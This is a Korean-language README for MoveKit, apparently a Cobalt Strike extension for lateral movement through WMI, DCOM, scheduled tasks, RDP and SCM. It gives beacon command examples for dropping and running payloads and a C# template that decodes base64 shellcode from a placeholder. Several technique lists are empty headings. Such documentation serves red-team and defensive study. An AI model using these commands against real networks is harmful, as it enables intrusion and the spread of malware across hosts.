
Cobalt Strike 측면 이동 키트
Movekit은 Cobalt Strike에 내장된 측면 이동 기능을 확장한 것으로, SharpMove 및 SharpRDP .NET 어셈블리와 함께 execute_assembly 함수를 활용합니다. 공격자 스크립트는 특정 실행 유형에 대한 템플릿 파일을 읽어 페이로드 생성을 처리합니다.
중요: 스크립트를 사용하려면 사용자는 MoveKit.cna 공격자 스크립트만 로드하면 되며, 이 스크립트가 다른 필요한 스크립트를 함께 로드합니다. 또한, 취하는 작업에 따라 SharpMove 및 SharpRDP 어셈블리를 컴파일하여 Assemblies 디렉터리에 배치해야 합니다. 마지막으로, 일부 파일 이동은 동적 컴파일이 필요하므로 Mono가 필요합니다.
공격자 스크립트를 로드하면 메뉴바에 Move라는 선택자가 로드됩니다. 사용자가 선택할 수 있는 여러 옵션이 있습니다. 먼저, 사용자는 WMI, DCOM, 작업 스케줄러, RDP 또는 SCM을 통해 원격 시스템에서 명령을 실행하도록 선택할 수 있습니다. 둘째, Command 실행 메커니즘은 다운로드 크래들을 사용하여 파일을 가져와 실행합니다. 셋째, File 방식은 시스템에 파일을 드롭하고 실행합니다. Write File Only는 실행 없이 데이터만 이동합니다. 마지막으로, GUI 사용을 더 빠르게 하고 비콘 명령과 함께 사용하기 위한 Default 설정이 있습니다. 기본 설정은 기본값을 허용할 수 있는 모든 것에 사용됩니다.
비콘 명령을 사용하려면 기본 설정을 읽고 몇 가지 명령줄 인수를 사용합니다. 비콘 명령 예:
<exec-type> <target> <listener> <filename>
move-msbuild 192.168.1.1 http move.csproj
또한, 커스텀 사전 빌드 비콘 명령은 약간 다릅니다. 명령 예:
move-pre-custom-file <target> <local-file> <remote-filename>
move-pre-custom-file computer001.local /root/payload.exe legit.exe
위치 필드는 이 프로젝트에서 가장 까다로운 부분입니다. WMI 파일 이동을 선택하면 location이 사용되고, SMB를 선택하면 사용되지 않습니다(비워둘 수 있음). Location은 세 가지 다른 값을 가집니다. 첫째, location이 URL인 경우 페이로드가 생성될 때 Cobalt Strike의 웹 서버에서 호스팅됩니다. 어셈블리가 실행될 비콘 호스트는 URL에 웹 요청을 보내 파일을 가져와 대상 호스트의 이벤트 서브에 사용하여 파일을 작성합니다. 둘째, location이 Windows 디렉터리인 경우 생성된 파일을 비콘 호스트에 업로드하고 어셈블리가 파일 시스템에서 읽어 이벤트 서브에 저장하여 원격 호스트에 씁니다. 마지막으로, location 필드가 Linux 경로 또는 local이라는 단어인 경우 실행 중인 어셈블리에 페이로드를 동적으로 컴파일합니다. 그러나 파일이 1MB 크기 제한을 초과하면 오류가 표시됩니다.
모든 파일 방식에서 페이로드는 공격자 스크립트를 통해 생성됩니다. 그러나 페이로드가 이미 생성된 경우 사용자는 Custom (Prebuilt) 옵션을 선택하여 이동 및 실행할 수 있습니다.
이 키트에는 다양한 파일 이동 기술, 실행 트리거 및 페이로드 유형이 포함되어 있습니다.
파일 이동은 원격 호스트로 파일을 전송하는 데 사용되는 방법입니다. 파일 이동 유형:
명령 트리거는 원격 호스트에서 특정 명령을 실행하는 데 사용되는 방법입니다. 명령 트리거 유형:
셸코드 전용 실행:
하이재킹:
템플릿을 교체하려면 두 가지 요구 사항을 충족해야 합니다. 첫째, 템플릿 이름은 기술 이름이어야 합니다(예: msbuild.csproj). 둘째, 소스 코드에는 base64 인코딩된 셸코드가 들어갈 문자열 $$PAYLOAD$$가 포함되어야 하며, base64 문자열을 바이트 배열로 변환할 수 있어야 합니다. C# 예:
string strSC = "$$PAYLOAD$$";
byte[] sc = Convert.FromBase64String(strSC);
'Update Defaults 대화상자'에서 기본값이 '찾기 및 바꾸기 문자열'과 셸코드 형식을 업데이트할 수 있도록 변경 사항이 추가되었습니다. 기본값은 $$PAYLOAD$$ 및 base64입니다.
execute-assembly 함수를 사용하므로 다른 포스트 익스플로잇 작업과 마찬가지로 희생 프로세스에 주입됩니다.File 또는 Command 방법을 사용하는 경우 디스크에 파일이 드롭됩니다.일부 코드, 템플릿 또는 영감은 다른 사람과 프로젝트에서 가져왔습니다.
아마 어딘가 버그가 있을 것입니다. 때때로 나타나는 경향이 있습니다. 발견하시면 알려주시면 수정하겠습니다.